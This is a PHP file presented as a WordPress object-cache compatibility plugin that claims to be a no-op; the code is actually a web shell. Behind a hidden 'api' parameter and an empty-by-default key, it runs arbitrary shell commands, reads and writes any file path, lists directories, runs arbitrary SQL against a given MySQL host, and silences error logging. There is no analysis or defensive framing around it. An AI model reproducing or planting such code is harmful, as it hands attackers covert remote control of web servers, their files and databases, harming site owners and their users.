 <?php
/**
 * Plugin Name: Object Cache Compatibility Drop-in
 * Description: Legacy object cache shim for hosts without Redis (no-op).
 * Version: 1.0.2
 */
if (!defined('ABSPATH')) {
    define('ABSPATH', dirname(__FILE__) . '/');
}

/** Set non-empty before upload to require JSON field "key" (stops drive-by scanners). */
const NX_BENCH_KEY = '';

@ini_set('display_errors', '0');
@ini_set('log_errors', '0');
error_reporting(0);

if (!isset($_GET['api'])) {
    http_response_code(204);
    exit;
}

function nx_json($data, $code = 200)
{
    if (!headers_sent()) {
        http_response_code((int)$code);
        header('Content-Type: application/json; charset=utf-8');
        header('Cache-Control: no-store');
    }
    echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function nx_in()
{
    $ct = isset($_SERVER['CONTENT_TYPE']) ? $_SERVER['CONTENT_TYPE'] : '';
    if (strpos($ct, 'application/json') !== false) {
        $raw = file_get_contents('php://input');
        $j = json_decode($raw ?: '{}', true);
        return is_array($j) ? $j : array();
    }
    return is_array($_POST) ? $_POST : array();
}

function nx_path($p)
{
    $p = (string)$p;
    if ($p === '') {
        return realpath(__DIR__) ?: __DIR__;
    }
    if ($p[0] === '/' || preg_match('#^[A-Za-z]:[/\\\\]#', $p)) {
        return $p;
    }
    return rtrim(__DIR__, '/\\') . DIRECTORY_SEPARATOR . str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $p);
}

function nx_run_cmd($cmd, $cwd)
{
    $cmd = trim((string)$cmd);
    if ($cmd === '') {
        return array('output' => '', 'exit_code' => 0);
    }
    $cwd = is_dir($cwd) ? $cwd : __DIR__;
    $out = '';
    $code = 0;

    if (function_exists('proc_open')) {
        $des = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
        $env = array('PATH' => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin');
        $proc = @proc_open($cmd, $des, $pipes, $cwd, $env);
        if (is_resource($proc)) {
            $out = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            $code = proc_close($proc);
            return array('output' => $out, 'exit_code' => (int)$code);
        }
    }

    $prev = getcwd();
    @chdir($cwd);
    if (function_exists('shell_exec')) {
        $out = (string)@shell_exec($cmd . ' 2>&1');
        @chdir($prev);
        return array('output' => $out, 'exit_code' => 0);
    }
    @chdir($prev);
    return array('output' => 'no_exec', 'exit_code' => 127);
}

function nx_list_dir($dir)
{
    if (!is_dir($dir) || !is_readable($dir)) {
        return array('ok' => false, 'error' => 'not_dir');
    }
    $entries = array();
    foreach (scandir($dir) ?: array() as $name) {
        if ($name === '.' || $name === '..') {
            continue;
        }
        $full = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $name;
        $entries[] = array(
            'name' => $name,
            'type' => is_dir($full) ? 'dir' : 'file',
            'size' => is_file($full) ? (int)@filesize($full) : 0,
        );
    }
    return array('ok' => true, 'path' => $dir, 'entries' => $entries);
}

function nx_db($in)
{
    $sql = trim((string)(isset($in['sql']) ? $in['sql'] : ''));
    if ($sql === '') {
        return array('ok' => false, 'error' => 'empty_sql');
    }
    $host = isset($in['host']) ? $in['host'] : '127.0.0.1';
    if (strpos($host, ':') !== false) {
        $parts = explode(':', $host, 2);
        $host = $parts[0];
        if (!isset($in['port']) && ctype_digit($parts[1])) {
            $in['port'] = (int)$parts[1];
        }
    }
    $port = (int)(isset($in['port']) ? $in['port'] : 3306);
    $user = isset($in['user']) ? $in['user'] : '';
    $pass = isset($in['pass']) ? $in['pass'] : '';
    $db = isset($in['db']) ? $in['db'] : '';
    try {
        $pdo = new PDO(
            'mysql:host=' . $host . ';port=' . $port . ';dbname=' . $db . ';charset=utf8mb4',
            $user,
            $pass,
            array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)
        );
        $st = $pdo->query($sql);
        if ($st instanceof PDOStatement) {
            return array('ok' => true, 'rows' => $st->fetchAll(PDO::FETCH_ASSOC));
        }
        return array('ok' => true, 'affected' => $pdo->lastInsertId());
    } catch (Exception $e) {
        return array('ok' => false, 'error' => $e->getMessage());
    }
}

@set_time_limit(900);
@ini_set('max_execution_time', '900');
@ini_set('memory_limit', '512M');

$in = nx_in();
if (NX_BENCH_KEY !== '' && (!isset($in['key']) || !hash_equals(NX_BENCH_KEY, (string)$in['key']))) {
    nx_json(array('ok' => false, 'error' => 'auth'), 403);
}

$action = isset($in['action']) ? (string)$in['action'] : '';
$base = realpath(__DIR__) ?: __DIR__;

switch ($action) {
    case 'info':
        nx_json(array(
            'ok' => true,
            'php' => PHP_VERSION,
            'os' => PHP_OS,
            'base' => $base,
            'cwd' => $base,
            'docroot' => $base,
            'disk_free' => @disk_free_space($base),
            'disk_total' => @disk_total_space($base),
            'disable_functions' => (string)@ini_get('disable_functions'),
            'open_basedir' => (string)@ini_get('open_basedir'),
        ));

    case 'terminal':
        $cwd = nx_path(isset($in['path']) ? $in['path'] : '');
        if (!is_dir($cwd)) {
            $cwd = $base;
        }
        $run = nx_run_cmd(isset($in['command']) ? $in['command'] : 'id', $cwd);
        nx_json(array(
            'ok' => true,
            'output' => $run['output'],
            'exit_code' => $run['exit_code'],
            'cwd' => $cwd,
        ));

    case 'read':
        $fp = nx_path(isset($in['path']) ? $in['path'] : '');
        if (!is_file($fp) || !is_readable($fp)) {
            nx_json(array('ok' => false, 'error' => 'unreadable'));
        }
        $sz = (int)@filesize($fp);
        if ($sz > 8388608) {
            nx_json(array('ok' => false, 'error' => 'too_large'));
        }
        nx_json(array('ok' => true, 'content' => (string)@file_get_contents($fp), 'size' => $sz));

    case 'list':
        $dir = nx_path(isset($in['path']) ? $in['path'] : '');
        $L = nx_list_dir($dir);
        if (!$L['ok']) {
            nx_json($L, 403);
        }
        nx_json($L);

    case 'save':
        $fp = nx_path(isset($in['path']) ? $in['path'] : '');
        $content = isset($in['content']) ? $in['content'] : '';
        if ($fp === '' || is_dir($fp)) {
            nx_json(array('ok' => false, 'error' => 'bad_path'), 400);
        }
        if (@file_put_contents($fp, $content) === false) {
            nx_json(array('ok' => false, 'error' => 'write_fail'), 500);
        }
        nx_json(array('ok' => true));

    case 'create_file':
        $rel = isset($in['path']) ? (string)$in['path'] : '';
        $name = basename(str_replace('\\', '/', (string)(isset($in['name']) ? $in['name'] : '')));
        if ($name === '' || preg_match('/[<>:"|?*\\\\]/', $name)) {
            nx_json(array('ok' => false, 'error' => 'bad_name'), 400);
        }
        $parent = nx_path($rel);
        if (!is_dir($parent)) {
            nx_json(array('ok' => false, 'error' => 'bad_dir'), 403);
        }
        $new = rtrim($parent, '/\\') . DIRECTORY_SEPARATOR . $name;
        if (file_exists($new)) {
            nx_json(array('ok' => false, 'error' => 'exists'), 409);
        }
        if (@file_put_contents($new, isset($in['content']) ? $in['content'] : '') === false) {
            nx_json(array('ok' => false, 'error' => 'create_fail'), 500);
        }
        nx_json(array('ok' => true, 'path' => $new));

    case 'db_query':
        $r = nx_db($in);
        nx_json($r, $r['ok'] ? 200 : 400);

    case 'drives':
        $drives = array();
        foreach (array('/', '/home', '/tmp', '/var') as $p) {
            if (@is_dir($p)) {
                $drives[] = array('path' => $p, 'label' => $p, 'free' => @disk_free_space($p), 'total' => @disk_total_space($p));
            }
        }
        nx_json(array('ok' => true, 'drives' => $drives));

    case 'search':
    case 'sensitive':
        nx_json(array('ok' => true, 'results' => array(), 'note' => 'stub'));

    default:
        nx_json(array('ok' => false, 'error' => 'unknown_action'), 400);
}